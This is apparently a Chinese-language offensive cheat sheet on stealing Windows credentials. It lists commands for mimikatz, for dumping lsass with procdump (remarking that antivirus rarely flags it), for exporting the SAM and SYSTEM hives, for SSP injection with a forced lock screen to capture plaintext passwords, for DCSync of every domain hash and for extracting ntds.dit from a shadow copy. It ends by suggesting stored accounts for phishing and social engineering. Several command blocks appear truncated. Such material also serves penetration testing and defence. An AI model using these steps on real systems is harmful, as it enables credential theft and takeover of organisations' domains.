密码抓取姿势
1.利用mimikatz-sekurlsa 导入明文密码
上传mimikatz到目标机器,并且mimikatz以管理员权限运行
命令如下:
1 | 1.privilege::debug 获取debug权限 |
2.利用procdump.exe 转储isass.exe 本地读取hash
将我们的procdump.exe 上传到目标机器,以管理员权限运行。并且procedump.exe 他是微软官方发布的一个工具,杀软一般都不会报毒。
1 | 1.procdump.exe -accepteula -ma lsass.exe lsass.dmp |
导出后与mimikatz放在同一个文件夹,利用mimikatz本地读取。
1 | 1.sekurlsa::minidump lsass.dmp mimikatz 加载lsass.dmp 文件,准备读取里面的信息 |
3.利用SAM与System文件抓密码与Hash
利用注册表命令将目标机的sam、system文件导出获取其存储的NTLM等信息 (需管理员权限)
1 | 1.reg save hklm\sam sam.hive |
将system.hive与sam.hive 文件和mimikatz放在同一个文件夹,然后用mimikatz 导入
1 | 1.lsadump::sam /sam:sam.hive /system:system.hive |
根据ntml,hash 信息进行smb_psexec 进行操作
4.插入ssp记录明文密码
由于在某些时候,例如UAC限制,Windows10无法导出密码hash(Credentials Guard 限制)
此时我们可以利用Windows特性SSP绕过限制,直接获取明文密码
管理员权限启动mimikatz
1 | 1.privilege::debug |
利用CS插件或锁屏命令,等待管理员解锁
1 | 1. rundll32.exe user32.dll,LockWorkStation 强转锁屏 |
在C:\windows\system32目录下生成mimilsa.log,存储着明文密码。
5.利用DCsync导出所有用户NTLM hash
通过DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户票据
利用条件:
获得以下任意用户的权限:
- Administrator组内用户权限
- Domain Admins组内用户权限
- Enterprise Admins组内用户权限
- 域控制器的计算机账户
使用Mimikatz导出域内所有用户Hash
在获得上述用户权限后通过mimikatz利用DRS协议导出用户hash
1 | 1.lsadump::dcsync /domain:"de1ay.com" /all /csv |
导出域内指定账号的hash值
1 | 1.lsadump::dcsync /domain:"de1ay.com" /user:mssql /csv |
6.利用卷影拷贝获取hash
Ntds.dit文件存放于所有域控制器上的%systemroot%\ntds目录之中
其中存放着当前域用户的所有用户账户信息,我们可以将ntds.dit文件与解密文件system利用卷影拷贝功能导出。
1、利用Windows自带的vssadmin命令进行卷影拷贝
1 | 1.管理员权限执行 |
利用ntdsxtract项目将ntds.dit解密
1 | esedbexport ntds.dit |
1 | 1.进入生成的ntds.dit.export目录,利用其中的datatable.x link_table.x文件 |
获得其中的账户信息,包括NTLM Hash
1 | python dsusers.py datatable.4 link_table.7 /newdisk/tools/volume_shadow_copy --syshive system.hive --passwordhistory --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt |
7.利用cmdkey进行社工、导出票据
利用cmdkey /list 可发现本机存储可用凭据
此处可利用mimikatz 的vault::cred模块对票据进行导出,且**无需高权限**
此方法导出明文密码的概率较小,但可通过此方法找到个人\办公PC中存储的各种有效账号,如QQ、手机号、Github用户名,用于钓鱼或社工处理。